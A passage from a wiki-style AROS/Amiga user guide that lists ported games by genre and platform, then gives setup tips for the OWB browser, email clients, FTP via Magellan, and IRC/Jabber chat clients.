|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12 Doom], Quake, Quake 3 Arena, [https://github.com/OpenXRay/xray-16 S.T.A.L.K.E.R Xray]
|-
|&lt;!--Sub Menu--&gt;Games MMORG like 
|&lt;!--AROS--&gt;[ Eternal Lands (OpenGL)],
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Platform like 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/platform], [ Maze of Galious], [ Gish]*(openGL), [ Mega Mario], [https://archives.arosworld.org/?function=showfile&amp;file=game/platform/ thextech SMBX], [http://www.gianas-return.de/ Giana's Return], [http://www.sqrxz.de/ Sqrxz], [www.sqrxz2.de/ Sqrxz 2], [http://www.sqrxz.de/sqrxz-3/ Sqrxz 3], [http://www.sqrxz.de/sqrxz-4/ Sqrxz 4], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/platform Cave Story], [https://bszili.morphos.me/ Frogatto], [https://bszili.morphos.me/ OpenJazz], [https://archives.arosworld.org/?function=showfile&amp;file=game/platform/ pekkakana2], [ Aquaria], [https://archives.arosworld.org/?function=showfile&amp;file=game/platform/ sonic CD], [], 
|&lt;!--Amiga OS--&gt;[ Giana Sisters], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Puzzle [https://github.com/mariopartyrd/marioparty4/tree/port Party], [https://github.com/mdodis/OpenSolomonsKey OpenSolomonsKey], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/puzzle], [ Cubosphere (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/puzzle Candy Crisis], [http://bszili.morphos.me/ TailTale], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Racing [ Trigger Rally], [ VDrift], [http://www.ultimatestunts.nl/index.php?page=2&amp;lang=en Ultimate Stunts], [http://maniadrive.raydium.org/ Mania Drive], [https://github.com/plowteam/donut Simpsons Hit and Run], [], 
|&lt;!--AROS--&gt;[ Super Tux Kart (OpenGL)], [http://www.dusabledanslherbe.eu/AROSPage/F1Spirit.30.html F1 Spirit (OpenGL)], [http://bszili.morphos.me/index.html MultiRacer], [https://bszili.morphos.me/ Speed Dreams], [https://archives.arosworld.org/?function=showfile&amp;file=game/driving/dethrace-0.10.1.x86_64-aros-v11.zip Carmageddon dethrace 64bit], [], 
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;[http://bszili.morphos.me/index.html Speed Dreams], 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12], [http://bszili.morphos.me/index.html TORCS], 
|-
|&lt;!--Sub Menu--&gt;Games 1st first person DRPG [https://wiki.rpg.net/index.php/Open_Game_Systems Misc], [https://github.com/OpenEnroth/OpenEnroth OpenEnroth MM], []
|&lt;!--AROS--&gt;[https://github.com/BSzili/aros-stuff Arx Libertatis], [http://www.playfuljs.com/a-first-person-engine-in-265-lines/ js raycaster], [https://github.com/Dorthu/es6-crpg webgl], [https://github.com/sonountaleban/AmiShockolate System Shock], [], [], 
|&lt;!--AmigaOS--&gt;Phantasie, Faery Tale, Dungeon Master, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games 3rd third person action CRPG  [https://sourceforge.net/projects/sumwars/ Summoning Wars], [https://www.solarus-games.org/ Solarus], [https://wiki.rpg.net/index.php/Open_Game_Systems Misc], [https://github.com/alexbatalov/fallout1-ce fallout ce], [https://github.com/rwengine/openrw gta3], [https://github.com/gta-reversed/gta-reversed gta3 sa], [https://github.com/mrxenginner/reVC gta3 vc revc], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ fheroes2 homm2], [https://archives.arosworld.org/?function=showfile&amp;file=game/roleplaying/ breakhack], [https://archives.arosworld.org/?function=showfile&amp;file=game/roleplaying/ devilutionx diablo 1 hellfire], [https://archives.arosworld.org/?function=showfile&amp;file=game/roleplaying/ fallout 1], [https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ stratagus], [https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ hostile-takeover], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games isometric RPG [https://sourceforge.net/projects/sumwars/ Summoning Wars], [https://www.solarus-games.org/ Solarus], [https://wiki.rpg.net/index.php/Open_Game_Systems Misc], [https://github.com/topics/dungeon?l=javascript Dungeon], [], [https://github.com/clintbellanger/heroine-dusk JS Dusk], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/roleplaying nethack], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/roleplaying GemRB], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games card based RPG [https://github.com/open-duelyst/duelyst Duelyst], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games turn based tactics RPG [], [], [], [], [], [], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/strategy UFO AI], [http://play.freeciv.org/ FreeCiv], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Strategy [http://rtsgus.org/ RTSgus], [http://stargus.sourceforge.net/ Stargus], [https://github.com/KD-lab-Open-Source/Perimeter Perimeter], [https://matty77.itch.io/conflict-3049 conflict-3049], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/strategy MegaGlest (OpenGL)], [https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ signus], [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1443&amp;rowstart=140&amp;pid=12446#post_12446 Wargus warcraft 2 setup], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12]
|-
|&lt;!--Sub Menu--&gt;Games Rhythm, Beat, Step [], [], [https://clonehero.net/ clonehero], [https://github.com/MatteoGodzilla/Dj-Engine Dj-Engine], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/misc Frets on Fire], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Shoot Em Ups [http://www.mhgames.org/oldies/formido/ Formido], [http://code.google.com/p/violetland/ Violetland], 
||&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/action Open Tyrian], [http://www.parallelrealities.co.uk/projects/starfighter.php Starfighter], [ Alien Blaster], [https://github.com/OpenFodder/openfodder OpenFodder], [https://archives.arosworld.org/?function=showfile&amp;file=game/action/ tbftss The Battle for the Solar System: the Pandora War]
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.parallelrealities.co.uk/projects/starfighter.php Starfighter], [ The Battle for the Solar System: the Pandora War]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Simulations [http://scp.indiegames.us/ Freespace 2], [http://www.heptargon.de/gl-117/gl-117.html GL117], [http://code.google.com/p/corsix-th/ Theme Hospital], [http://code.google.com/p/freerct/ Rollercoaster Tycoon], [http://hedgewars.org/ Hedgewars], [https://github.com/raceintospace/raceintospace raceintospace], [https://github.com/Return-To-The-Roots RTTR Settlers 2], [https://github.com/OoliteProject/oolite oolite elite], [https://github.com/fesh0r/newkind newkind elite], [https://github.com/bohemiainteractive/cwr Arma Cold War Src], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;SimCity, SimAnt, Sim Hospital, Theme Park, [https://github.com/angree/openttd_amiga_68k openttd amiga_68k], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12]
|-
|&lt;!--Sub Menu--&gt;Games Life Sim [https://github.com/ACreTeam/forest Animal Crossing], [ ], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Horror [https://github.com/Mikompilation/MikuPan Fatal Frame], [ ], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Sandbox Voxel Open World Exploration [https://github.com/ClassiCube/ Classicube],[http://www.michaelfogleman.com/craft/ Craft], [https://github.com/tothpaul/DelphiCraft DelphiCraft],[https://www.minetest.net/ Luanti formerly Minetest], [ infiniminer], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Battle Royale [https://bruh.io/ Play.Bruh.io], [https://www.coolmathgames.com/0-copter Copter Royale], [https://surviv.io/ Surviv.io], [https://nuggetroyale.io/#Ketchup Nugget Royale], [https://miniroyale2.io/ Miniroyale2.io], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Tower Defense [https://chriscourses.github.io/tower-defense/ HTML5], [https://github.com/SBardak/Tower-Defense-Game TD C++], [https://github.com/bdoms/love_defense LUA and LOVE], [https://github.com/HyOsori/Osori-WebGame HTML5], [https://github.com/PascalCorpsman/ConfigTD ConfigTD Pascal], [https://github.com/GloriousEggroll/wine-ge-custom Wine], []
|&lt;!--AROS--&gt;[https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1443&amp;rowstart=180&amp;pid=12871#post_12871 Plants vs Zombies PvZ], 
|&lt;!--Amiga OS--&gt;[https://github.com/boingball/miggy-tower-defense miggy-tower-defense], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Visual Novel Engines [https://github.com/diane1f0cd/VisualNovelTemplate Visual Novel Template], [https://github.com/Kirilllive/tuesday-js Tuesday JS], [https://github.com/tejasnayak25/vnsutra vnsutra], [https://github.com/weetabix-su/renpsp-dev RenPSP], [https://github.com/Galladite27/ONScripter-EN ONScripter-EN], [https://github.com/NathanGuilhot/VNES-Raylib https://github.com/NathanGuilhot/VNES VNES in Raylib], [https://www.renpy.org/latest.html renpy ren'py python based], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Virtual Reality VR [https://gitlab.com/madsbuvi/openmw openmw vr], [https://github.com/Team-Beef-Studios/BeefRaiderXR BeefRaiderXR], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Virtual Table Top VTT [ Roll20], [https://www.owlbear.rodeo/ owlbear rodeo], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Computer assisted TableTop TTRPG OSR [https://www.rpgsolo.com/play.php RPGSolo], [https://github.com/fpsvogel/solo-ttrpgs Solo TTRPG], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games 2D 3D Engines [https://github.com/fegennari/3DWorld 3DWorld], [https://github.com/GarageGames/Torque3D Torque3D], [https://github.com/gameplay3d/GamePlay GamePlay 3D],  [https://www.babylonjs.com/ BabylonJS ], [ Godot], [ Ogre], [ Crystal Space], [https://github.com/JacobHess03/ Dragon-Quest like], [https://github.com/bjornbytes/lovr Lua LOVE for 2D LOVR for 3D], [], 
|&lt;!--AROS--&gt;[https://www.arkhamdev.net/wiki.htm?id=agx Arkham Development antiryadgx 8.9 lts with register], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/alpyre/Sevgi_Engine Sevgi Engine], [], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games C based game frameworks [https://github.com/orangeduck/Corange Corange], [https://github.com/scottcgi/Mojoc Mojoc], [https://orx-project.org/ Orx], [https://github.com/ioquake/ioq3 Quake 3], [https://www.mapeditor.org/ Tiled], [https://www.raylib.com/ 2d Raylib], [https://github.com/Rabios/awesome-raylib other raylib], [https://github.com/MrFrenik/gunslinger Gunslinger], [https://o3de.org/ o3d], [http://archives.aros-exec.org/index.php?function=browse&amp;cat=development/library GLFW], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=development/library Raylib 5], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games RPGMaker MV/MZ-compatible projects [https://github.com/Psychronic-Games/RPGReactor RPGReactor js],
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Virtual Pinball [https://github.com/vpinball/vpinball vpinball], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games unpack unarc [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|}


==Application Guides==

[[#top|...to the top]]

===Web Browser===

OWB is now at version 2.0 (which got an engine refresh, from July 2015 to February 2019) and 3.0.

This latest version has a good support for many/most web sites, even YouTube web page now works. [https://www.bilibili.tv/en/search untested] 

This improved compatibility comes at the expense of higher RAM usage (now 1GB RAM is the absolute minimum). 

Also, keep in mind that the lack of a JIT (Just-In-Time) JS compiler on the 32 bit version, makes the web surfing a bit slow. 

Only the 64 bit version of OWB 2.0 will have JIT enabled, thus benefitting of more speed. There are tooltypes that can be added to the icon to provide further features JIT, MSE etc 


Certificates from [https://curl.se/docs/caextract.html ca certs], 


DNS tracking blocking with [https://easylist.to/easylist/easylist.txt easylist.txt] in PROGDIR:Conf before starting browser with enabled AdBlock [https://github.com/easylist/easylist/tree/master easylist], [https://gitlab.com/eyeo anti abp], [https://firebog.net/ big blocklist], [https://github.com/StevenBlack/hosts Steves], [], [], 

This can be enabled with OWB Odyssey with Windows -&gt; Content Blocking and Windows -&gt; Messages and enter 

 https://www.youtube.com/api/stats/ads*
 https://www.youtube.com/pagead/adview*
 https://www.youtube.com#@##player-ads*

into your custom filters 


Element blocker browser extension might be needed for [https://github.com/easylist/easylist/wiki/Youtube-Issues youtube], [ mid roll], [ pre roll], [ ],  


OWB speed is much better when running from RAM Disk, the best way is to add the below into your S:User-Startup which copies OWB drawer from Extras:Internet/OWB to RAM Disk: 

So add this :
&lt;pre&gt;
copy Extras:Internet/OWB Ram:OWB/ ALL CLONE &gt;NIL:
copy Extras:Internet/OWB.info Ram: &gt;NIL:
&lt;/pre&gt;
Open RAM Disk and open OWB drawer and double click on OWB icon so that the above icon tooltypes are activated 

Problems are that the copy time is long (around 20 seconds added in the background), but we can make it faster if we delete useless files from the OWB drawer (docs, …)
If you don’t copy the drawer back onto the HD, you won’t save your cache, cookies, passwords… So you need a script for it.

 copy Extras:Internet/Amelinium/#? Ram:Amelinium/ ALL CLONE &gt;NIL: 

Error messages 

SSL error &quot;cant verify with ca-certificates&quot;, check bios clock time date is correct 

Error 6, try checking networking prefs settings and Save / Use preferences again or a '''few times''' otherwise the network chipset may not be compatible with Aros 


[https://www.google.com/search?q=%s&amp;udm=14 Google search without AI overview] 


===E-mail===

 YAM does not support SSL and most mail providers now switched to encrypted SMTP/POP3 connections


====SimpleMail====

SimpleMail supports IMAP and appears to work with GMail, but it's never been reliable enough, it can crash with large mailboxes.

Please read more on this [http://www.freelists.org/list/simplemail-usr User list]


 GMail

Be sure to activate the pop3 usage in your gmail account setup / configuration first.

pop3: 
pop.gmail.com
Use SSL: Yes
Port: 995

smtp:
smtp.gmail.com (with authentication)
Use Authentication: Yes
Use SSL: Yes
Port: 465 or 587


 Hotmail/MSN/outlook/Microsoft Mail mid-2017, all outlook.com accounts will be migrated to Office 365 / Exchange

Most users are currently on POP which does not allow showing folders and many other features (technical limitations of POP3). With Microsoft IMAP you will get folders, sync read/unread, and show flags. You still won't get push though, as Microsoft has not turned on the IMAP Idle command as at Sept 2013.

If you want to try it, you need to first remove (you can't edit) your pop account (long-press the account on the accounts screen, delete account). Then set it up this way:

1. Email/Password
2. Manual
3. IMAP
4.

* Incoming: imap-mail.outlook.com, port 993, SSL/TLS should be checked
* Outgoing: smtp-mail.outlook.com, port 587, SSL/TLS should be checked
* POP server name pop-mail.outlook.com, port 995, POP encryption method SSL

 Yahoo  Mail

On April 24, 2002 Yahoo ceased to offer POP access to its free mail service. Introducing instead a yearly payment feature, allowing users POP3 and IMAP server support, along with such benefits as larger file attachment sizes and no adverts.

Sorry to see Yahoo leaving its users to cough up for the privilege of accessing their mail. Understandable, when competing against rivals such as Gmail and Hotmail who hold a large majority of users and were hacked in 2014 as well.


Incoming Mail (IMAP) Server

* Server - imap.mail.yahoo.com
* Port - 993
* Requires SSL - Yes

Outgoing Mail (SMTP) Server

* Server - smtp.mail.yahoo.com
* Port - 465 or 587
* Requires SSL - Yes
* Requires authentication - Yes

Your login info

* Email address - Your full email address (name@domain.com)
* Password - Your account's password
* Requires authentication - Yes


Note that you need to enable “Web &amp; POP Access” in your Yahoo Mail account to send and receive Yahoo Mail messages through any other email program.

You will have to enable “Allow your Yahoo Mail to be POPed” under “POP and Forwarding”, to send and receive Yahoo mails through any other email client.

Cannot be done since 2002 unless the customer pays Yahoo a subscription subs fee to have access to SMTP and POP3

* Set the POP server for incoming mails as pop.mail.yahoo.com. You will have to enable “SSL” and use 995 for Port.
* “Account Name or Login Name” – Your Yahoo Mail ID i.e. your email address without the domain “@yahoo.com”.
* “Email Address” – Your Yahoo Mail address i.e. your email address including the domain “@yahoo.com”. E.g. myname@yahoo.com
* “Password” – Your Yahoo Mail password.

Yahoo! Mail Plus users may have to set POP server as plus.pop.mail.yahoo.com and SMTP server as plus.smtp.mail.yahoo.com.

* Set the SMTP server for outgoing mails as smtp.mail.yahoo.com. You will also have to make sure that “SSL” is enabled and use 465 for port. you must also enable “authentication” for this to work.


====YAM Yet Another Mailer====

 YAM does not support SSL and most mail providers have now switched to encrypted SMTP/POP3 connections

This email client is POP3 only if the SSL library is available [http://www.freelists.org/list/yam YAM Freelists]

One of the downsides of using a POP3 mailer unfortunately - you have to set an option not to delete the mail if you want it left on the server. IMAP keeps all the emails on the server.

Possible issues

Sending mail issues is probably a matter of using your ISP's SMTP server, though it could also be an SSL issue.


getting a &quot;Couldn't initialise TLSv1 / SSL error

Use of on-line e-mail accounts with this email client is not possible as it lacks the OpenSSL AmiSSl v3 compatible library

 GMail 
Incoming Mail (POP3) Server - requires SSL: pop.gmail.com
Use SSL: Yes
Port: 995

Outgoing Mail (SMTP) Server - requires TLS: smtp.gmail.com (use authentication)
Use Authentication: Yes
Use STARTTLS: Yes (some clients call this SSL)
Port: 465 or 587

Account Name: your Gmail username (including '@gmail.com')
Email Address: your full Gmail email address (username@gmail.com)
Password: your Gmail password

Anyway, the SMTP is pop.gmail.com port 465 and it uses SSLLv3 Authentication. The POP3 settings are for the same server (pop.gmail.com), only on port 995 instead.


 Outlook.com access

&lt;pre &gt;
Outlook.com SMTP server address: smtp.live.com
Outlook.com SMTP user name: Your full Outlook.com email address (not an alias)
Outlook.com SMTP password: Your Outlook.com password
Outlook.com SMTP port: 587
Outlook.com SMTP TLS/SSL encryption required: yes 
&lt;/pre &gt;


 Yahoo  Mail

&lt;pre &gt;
“POP3 Server” – Set the POP server for incoming mails as pop.mail.yahoo.com. You will have to enable “SSL” and use 995 for Port.
“SMTP Server” – Set the SMTP server for outgoing mails as smtp.mail.yahoo.com. You will also have to make sure that “SSL” is enabled and use 465 for port. you must also enable “authentication” for this to work.
“Account Name or Login Name” – Your Yahoo Mail ID i.e. your email address without the domain “@yahoo.com”.
“Email Address” – Your Yahoo Mail address i.e. your email address including the domain “@yahoo.com”. E.g. myname@yahoo.com
“Password” – Your Yahoo Mail password.
&lt;/pre &gt;

Yahoo! Mail Plus users may have to set POP server as plus.pop.mail.yahoo.com and SMTP server as plus.smtp.mail.yahoo.com.

Note that you need to enable “Web &amp; POP Access” in your Yahoo Mail account to send and receive Yahoo Mail messages through any other email program.

You will have to enable “Allow your Yahoo Mail to be POPed” under “POP and Forwarding”, to send and receive Yahoo mails through any other email client.

Cannot be done since 2002 unless the customer pays Yahoo a monthly fee to have access to SMTP and POP3


 Microsoft Outlook Express Mail 

1. Get the files to your PC.
By whatever method get the files off your Amiga onto your PC. In the YAM folder you have a number of different folders, one for each of your folders in YAM. Inside that is a file usually some numbers such as 332423.283. YAM created a new file for every single email you received.

2. Open up a brand new Outlook Express. Just configure the account to use 127.0.0.1 as mail servers. It doesn't really matter. You will need to manually create any subfolders you used in YAM.

3. You will need to do a mass rename on all your email files from YAM. Just add a .eml to the end of it. Amazing how PCs still rely mostly on the file name so it knows what sort of file it is rather than just looking at it! There are a number of multiple renamers online to download and free too.

4. Go into each of your folders, inbox, sent items etc. And do a select all then drag the files into Outlook Express (to the relevant folder obviously) Amazingly the file format that YAM used is very compatible with .eml standard and viola your emails appear. With correct dates and working attachments.

5. If you want your email into Microsoft Outlook. Open that up and create a new profile and a new blank PST file. Then go into File Import and choose to import from Outlook Express. And the mail will go into there. And viola.. you have your old email from your Amiga in a more modern day format.


===FTP===

Magellan has a great FTP module. It allows transferring files from/to a FTP server over the Internet or the local network and, even if FTP is perceived as a &quot;thing of the past&quot;, its usability is all inside the client. The FTP thing has a nice side effect too, since every Icaros machine can be a FTP server as well, and our files can be easily transferred from an Icaros machine to another with a little configuration effort.

First of all, we need to know the 'server' IP address. Server is the Icaros machine with the file we are about to download on another Icaros machine, that we're going to call 'client'. To do that, move on the server machine and 1) run Prefs/Services to be sure &quot;FTP file transfer&quot; is enabled (if not, enable it and restart Icaros); 2) run a shell and enter this command:

ifconfig -a

Make a note of the IP address for the network interface used by the local area network. For cabled devices, it usually is net0:. Now go on the client machine and run Magellan:

Perform these actions: 1) click on FTP; 2) click on ADDRESS BOOK; 3) click on &quot;New&quot;. 
You can now add a new entry for your Icaros server machine:

1) Choose a name for your server, in order to spot it immediately in the address book. Enter the IP address you got before.

2) click on Custom Options:


1) go to Miscellaneous in the left menu;

2) Ensure &quot;Passive Transfers&quot; is NOT selected;

3) click on Use. We need to deactivate Passive Transfers because YAFS, the FTP server included in Icaros, only allows active transfers at the current stage. Now, we can finally connect to our new file source:


1) Look into the address book for the newly introduced server, be sure that name and IP address are right, and

2) click on Connect. A new lister with server's &quot;MyWorkspace&quot; contents will appear. You can now transfer files over the network choosing a destination among your local (client's) volumes.

Can be adapted to any FTP client on any platform of your choice, just be sure your client allows Active Transfers as well.


===IRC Internet Relay Chat===

Jabberwocky is ideal for one-to-one social media communication, use IRC if you require one to many. 

Just type a message in ''lowercase''' letters and it will be posted to all in the [ AROS irc channel]. Please do not use UPPER CASE as it is a sign of SHOUTING which is annoying.

Other things to type in - replace &lt;message&gt; with a line of text and &lt;nick&gt; with a person's name

&lt;pre&gt;
/help

/list

/who
/whois &lt;nick&gt;

/msg &lt;nick&gt; &lt;message&gt;

/query &lt;nick&gt; 
&lt;message&gt;s
/query

/away &lt;message&gt;
/away

/quit &lt;going away message&gt; 
&lt;/pre&gt;


[http://irchelp.org/irchelp/new2irc.html#smiley Intro guide here]. IRC Primer can be found here in [http://www.irchelp.org/irchelp/ircprimer.html html], [http://www.irchelp.org/irchelp/text/ircprimer.txt TXT], [http://www.kei.com/irc/IRCprimer1.1.ps PostScript].


Issue the command /me &lt;text&gt; where &lt;text&gt; is the text that should follow your nickname.
Example: /me slaps ajk around a bit with a large trout

/nick &lt;newNick&gt;

/nickserv register &lt;password&gt; &lt;email address&gt;

/ns instead of /nickserv, while others might need /msg nickserv

/nickserv identify &lt;password&gt;

Alternatives:
/ns identify &lt;password&gt;
/msg nickserv identify &lt;password&gt;


==== IRC WookieChat ====

WookieChat is the most complete internet client for communication across the IRC Network. WookieChat allows you to swap ideas and communicate in real-time, you can also exchange Files, Documents, Images and everything else using the application's DCC capabilities.


add smilies drawer/directory

 run wookiechat from the shell and set stack to 1000000 e.g. wookiechat stack 1000000

select a server / server window

* nickname 
* user name 
* real name - optional

Once you configure the client with your preferred screen name, you'll want to find a channel to talk in.


servers

* New Server - click on this to add / add extra - change details in section below this click box 
* New Group
* Delete Entry
* Connect to server
* connect in new tab
* perform on connect

Change details

* Servername - change text in this box to one of the below Server: 
* Port number - no need to change
* Server password
* Channel - add #channel from below 
* auto join - can click this 
* nick registration password,

Click Connect to server button above


&lt;pre&gt;
Server: irc.freenode.net
Channel: #aros
&lt;/pre&gt;

irc://irc.freenode.net/aros

&lt;pre&gt;
Server: chat.amigaworld.net 
Channel: #amigaworld or #amigans 
&lt;/pre&gt;

&lt;pre&gt;
On Sunday evenings USA time usually starting around 3PM EDT (1900 UTC)
Server:irc.superhosts.net
Channel #team*amiga  
&lt;/pre&gt;

&lt;pre&gt;
BitlBee and Minbif are IRCd-like gateways to multiple IM networks
Server: im.bitlbee.org 
Port 6667 
Seems to be most useful on WookieChat as you can be connected to several servers at once. One for Bitlbee and any messages that might come through that. One for your normal IRC chat server. 
&lt;/pre&gt;

[http://www.bitlbee.org/main.php/servers.html Other servers],

&lt;pre&gt;
#Amiga.org - irc.synirc.net eu.synirc.net dissonance.nl.eu.synirc.net (IPv6: 2002:5511:1356:0:216:17ff:fe84:68a) 
twilight.de.eu.synirc.net zero.dk.eu.synirc.net us.synirc.net avarice.az.us.synirc.net envy.il.us.synirc.net harpy.mi.us.synirc.net 
liberty.nj.us.synirc.net snowball.mo.us.synirc.net - Ports 6660-6669 7001 (SSL)
&lt;/pre&gt;

&lt;pre&gt;
Multiple server support
&quot;Perform on connect&quot; scripts and channel auto-joins
Automatic Nickserv login
Tabs for channels and private conversations
CTCP PING, TIME, VERSION, SOUND
Incoming and Outgoing DCC SEND file transfers
Colours for different events
Logging and automatic reloading of logs
mIRC colour code filters
Configurable timestamps
GUI for changing channel modes easily
Configurable highlight keywords
URL Grabber window
Optional outgoing swear word filter
Event sounds for tabs opening, highlighted words, and private messages
DCC CHAT support
Doubleclickable URL's
Support for multiple languages using LOCALE
Clone detection
Auto reconnection to Servers upon disconnection
Command aliases
Chat display can be toggled between AmIRC and mIRC style
Counter for Unread messages
Graphical nicklist and graphical smileys with a popup chooser
&lt;/pre&gt;


====IRC Aircos ====

Double click on Aircos icon in Extras:Networking/Apps/Aircos. It has been set up with a guest account for trial purposes. Though ideally, choose a nickname and password for frequent use of irc. 


====IRC and XMPP Jabberwocky====
 Servers are setup and close down at random 
You sign up to a server that someone else has setup and access chat services through them. 

The two ways to access chat from jabberwocky
&lt;pre &gt;
Jabberwocky -&gt; Server -&gt; XMPP -&gt; open and ad-free 
Jabberwocky -&gt; Server -&gt; Transports (Gateways) -&gt; Proprietary closed systems 
&lt;/pre &gt;

The Jabber.org service connects with all IM services that use XMPP, the open standard for instant messaging and presence over the Internet. The services we connect with include Google Talk (closed), Live Journal Talk, Nimbuzz, Ovi, and thousands more. However, you can not connect from Jabber.org to proprietary services like AIM, ICQ, MSN, Skype, or Yahoo because they don’t yet use XMPP components (XEP-0114) '''but''' you can use Jabber.com's servers and IM gateways (MSN, ICQ, Yahoo etc.) instead.

The best way to use jabberwocky is in conjunction with a public jabber server with '''transports''' to your favorite services, like gtalk, Facebook, yahoo, ICQ, AIM, etc.


You have to register with one of the servers, [https://list.jabber.at/ this list] or [http://www.jabberes.org/servers/ another list], [http://xmpp.net/ this security XMPP list],

Unfortunately jabberwocky can only connect to one server at a time so it is best to check what services each server offers. If you set it up with separate Facebook and google talk accounts, for example, sometimes you'll only get one or the other.

Jabberwocky open a window where the Jabber server part is typed in as well as your Nickname and Password.

Jabber ID (JID) identifies you to the server and other users.

Once registered the next step is to goto Jabberwocky's &quot;Windows&quot; menu and select the &quot;Agents&quot; option. The &quot;Agents List&quot; window will open.

Roster (contacts list)

[http://search.wensley.org.uk/ Chatrooms] (MUC) are available

File Transfer - can send and receive files through the Jabber service but not with other services like IRC, ICQ, AIM or Yahoo. All you need is an installed webbrowser and OpenURL.

Clickable URLs - The message window uses Mailtext.mcc and you can set a URL action in the MUI mailtext prefs like SYS:Utils/OpenURL %s NEWWIN.

